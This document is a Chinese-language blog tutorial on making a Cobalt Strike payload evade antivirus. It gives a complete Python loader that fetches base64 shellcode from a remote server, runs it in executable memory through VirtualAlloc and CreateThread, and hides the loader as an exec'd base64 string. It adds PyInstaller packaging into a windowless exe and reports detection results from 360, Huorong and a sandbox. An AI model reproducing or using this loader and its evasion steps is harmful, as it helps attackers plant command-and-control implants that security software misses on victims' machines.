CS分離免殺實戰
- 一、原理簡述
- 二、環境配置
- 三、本地測試
-
-
- 1.生成shellcode
- 2.代碼變形
- 3.pyinstaller打包
- 4.免殺測試
-
本次實踐參考小剛師傅的教程,詳細原理請看原文: https://mp.weixin.qq.com/
一、原理簡述
通過
python requests
遠端下載下傳經過
base64
編碼後的
shellcode
和
loader
,然後解碼通過exec函數先執行
loader
,通過
loader
加載
shellcode
,最終達到CS上線目的。
二、環境配置
- python2.7
- pyinstaller 3.0.0
- win10
為了防止不同版本出現的幺蛾子,在此供上我的python安裝包。
連結:https://pan.baidu.com/s/1ek3LYU8xqqjfQdqqt-dF8g
提取碼:1v27
三、本地測試
1.生成shellcode
保留payload.c中的雙引号部分内容,并将\x換為空,得到以fc開頭的一串字元。之後将其base64編碼放進伺服器
https://xxxxxxxx/1.txt
備用。
2.代碼變形
加載器源碼如下:
import ctypes
import requests
import base64
#下載下傳shellcode
scode = requests.get ("https://xxxxxxxx/1.txt")
# 解碼轉換為位元組類型檔案
shellcode = bytearray (base64.b64decode (scode.text).decode ('hex'))
# VirtualAlloc申請記憶體,并使用restype函數設定VirtualAlloc傳回類型為ctypes.c_unit64(系統位數)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# LPVOID VirtualAlloc{LPVOID lpAddress, #要配置設定的記憶體區域的位址
# DWORD dwSize, #配置設定的大小
# DWORD flAllocationType, #配置設定的類型
# DWORD flProtect #該記憶體的初始保護屬性
# };
ptr = ctypes.windll.kernel32.VirtualAlloc (ctypes.c_int (0),
ctypes.c_int (len (shellcode)),
ctypes.c_int (0x3000),
ctypes.c_int (0x40))
# 确定shellcode的大小
buf = (ctypes.c_char * len (shellcode)).from_buffer (shellcode)
# 從指定記憶體位址将内容複制到申請的記憶體中去
ctypes.windll.kernel32.RtlMoveMemory (ctypes.c_int (ptr),
buf,
ctypes.c_int (len (shellcode)))
# 建立線程
handle = ctypes.windll.kernel32.CreateThread (ctypes.c_int (0),
ctypes.c_int (0),
ctypes.c_uint64 (ptr),
ctypes.c_int (0),
ctypes.c_int (0),
ctypes.pointer (ctypes.c_int (0)))
# 調用WaitForSingleObject函數用來檢測線程的狀态
ctypes.windll.kernel32.WaitForSingleObject (ctypes.c_int (handle), ctypes.c_int (-1))
變形後如下:
import ctypes
import requests
import base64
if __name__ == '__main__':
scode = '''fc4883e................'''
shellcode = bytearray (scode.decode('hex'))
loader = '''Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MucmVzdHlwZSA9IGN0eXBlcy5jX3VpbnQ2NDtwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSxjdHlwZXMuY19pbnQoMHgzMDAwKSxjdHlwZXMuY19pbnQoMHg0MCkpO2J1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSk7Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKTtoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZChjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX3VpbnQ2NChwdHIpLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSk7Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkp'''
exec (base64.b64decode(loader))
由于考慮到網絡原因和python編碼問題(request下載下傳按照的是unicode編碼,直接decode(‘hex’)要報錯,可能和版本也有關系),可能有幺蛾子,是以就把shellcode和loader放在代碼裡了。
3.pyinstaller打包
需要事先裝幾個子產品
python -m pip install requests
python -m pip install pyinstaller==3.0
python -m pip install pypiwin32
如果網速太慢的話就用國内的鏡像,後面加幾個指令,例如:
python -m pip install pypiwin32 -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com
之後打包:
pyinstaller -F local-anti.py -i Favicon.ico -w
關于
pyinstaller
這幾個打包的參數說明如下:
在dist目錄下生成
local-anti.exe
,運作成功上線:
4.免殺測試
360:
火絨:
微步沙箱:
看下來隻有微軟引擎報毒,看來還可以。